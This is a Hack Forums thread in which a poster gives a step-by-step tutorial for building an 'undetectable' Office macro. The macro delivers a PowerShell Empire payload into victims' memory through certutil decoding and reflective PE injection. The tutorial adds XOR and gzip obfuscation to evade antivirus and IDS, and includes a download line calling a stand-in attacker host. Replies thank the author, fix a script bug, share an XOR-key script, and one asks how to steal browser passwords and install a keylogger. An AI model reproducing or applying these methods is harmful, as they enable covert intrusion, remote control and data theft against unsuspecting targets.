![]() |
|
[TUT] Creating Custom Undetectable Macros - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [TUT] Creating Custom Undetectable Macros (/showthread.php?tid=5786642) |
[TUT] Creating Custom Undetectable Macros - [BLANK] - Jan 18, 2018 Custom Undetectable Macro Creation --------------------------------------------------- The goal of this article is to demonstrate the process of creating a macro that reflectively injects Portable Executable file into a targets memory. This technique can be used to inject any type of PE file such as a RAT, but this demonstration will use Powershell Empire. I will also demonstrate methods of evading any AV or IDS that may be on the target. Recommended Tools: Microsoft Office Powersploit's Invoke-ReflectivePEInjection It is best to avoid using automated tools when creating custom macros because automated tools are well known and get flagged very quickly. For this example we will be using Windows 'certutil' functionality. Certutil allows us to decode an encoded (often Base64) .crt file, output to new file and execute that file. For our purposes of using Empire first you need to create a listener and then use the window/exe stager. That will output an executable file. Take that executable and Base64 encode it (more on this later) and save the results in a file called encoded_ps1.crt. Store that file on your webserver (either use something like python simple http server or start up apache, or host the file whever you can perform a GET request and pull it). Our macro will use the following code (modify as necessary): Code Sub DownloadAndExec()If you don't know how to add a macro to a Word or Exel file then I recommend doing a bit of research, I won't go into those details. AV Bypass and IDS Evasion -------------------------------- Now that we have created our custom macro and added it to a Word file we will work on the payload. To evade A/V we will use Powersploit's Invoke-ReflectivePEInjection. I linked the github above for your use. To make it more A/V resistant you can simply remove every comment and rename the first function to "Invoke-PEInjectionInMemory". More information on using the module: http://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Now we will make our payload IDS resistant as well. 1. Convert empire.exe to a Base64 string: Open Windows PowerShell ISE, paste the following PowerShell Script and execute it. Code function Convert-BinaryToString {2. Create the key with which you will XOR-obfuscate the Base64-converted Empire script we created earlier: Create a random Base64 string of equal lenth to the Base64-converted Empire executable. A quick way to do this would be taking the Base64-converted empire.exe and replacing, for example, all "A"s with "M"s. 3. XOR the Base64-converted empire.exe with the key you created in Step 2: To do this you can use the PowerShell Script below: Code param (Save the above PowerShell script locally (e.g xor_files.ps1), start a PowerShell session and execute the following. The result will be an XOR-obfusscated Empire (in Base64 form). PS >> powershell -ep bypass .\xore_files.ps1 .\Base64-converted_empire .\XOR_key 4. Take the altered Invoke-ReflectivePEInjection, add the following to the end (replacing the code as needed to fit your environment), and compress is using gzip (http://www.txtwizard.net/compression). Code (new-object Net.WebClient).DownloadFile('http://attacker.domain/xored_empire' , $env:temp+"/ciphertext")[*] Finally, embed the gzip compressed altered Invoke-ReflectivePEInjection you created in Step 4 into the following and save it as a PS1 file. Code $s=New-Object[*] I hope you all enjoyed this article and begin to explore the depth of macros! RE: [TUT] Creating Custom Undetectable Macros - nicksaban1 - Jan 18, 2018 Very nice. I may try this sometime in the near future. RE: [TUT] Creating Custom Undetectable Macros - Clarence - Jan 18, 2018 Nice share man, This will come in handy :) RE: [TUT] Creating Custom Undetectable Macros - [BLANK] - Jan 18, 2018 No worries, glad you found it useful. RE: [TUT] Creating Custom Undetectable Macros - Grams45 - Jan 19, 2018 (Jan 18, 2018 02:10 PM)EasyGhost Wrote: No worries, glad you found it useful. Good evening, you can explain in detail in PM, how you can view passwords in the browser and install a keylogger? RE: [TUT] Creating Custom Undetectable Macros - CyberStrike - Jan 20, 2018 Great stuff EasyGhost, always HQ stuff. RE: [TUT] Creating Custom Undetectable Macros - Baud - Jan 20, 2018 Very interesting method, thank you for sharing this EasyGhost, I'll try it out as soon as I find enough time to do so. I've noticed an error though, on the code from step 3 there are two different parameters called $file2, the first should be $file1. You named them the same also below, when their content is copied inside $file1_b and $file2_b. Also, I made a script for anyone who wants to make a XOR key like described on the tutorial: Code paramExample usage: Code .\get_xor_key.ps1 -in my_encrypted_file.txt -from a -to bRE: [TUT] Creating Custom Undetectable Macros - [BLANK] - Jan 20, 2018 Thank you Baud! I was typing all the code out by hand so there's always a chance of a mistake. I appreciate the corrections. RE: [TUT] Creating Custom Undetectable Macros - CryptoPump - Jan 25, 2018 Thanks, will try when i've got time ;) RE: [TUT] Creating Custom Undetectable Macros - Hypnotist - Feb 17, 2019 Coming back to this thanks for sharing. RE: [TUT] Creating Custom Undetectable Macros - eckson66 - Feb 21, 2019 very nice dude this will come in handy for sure |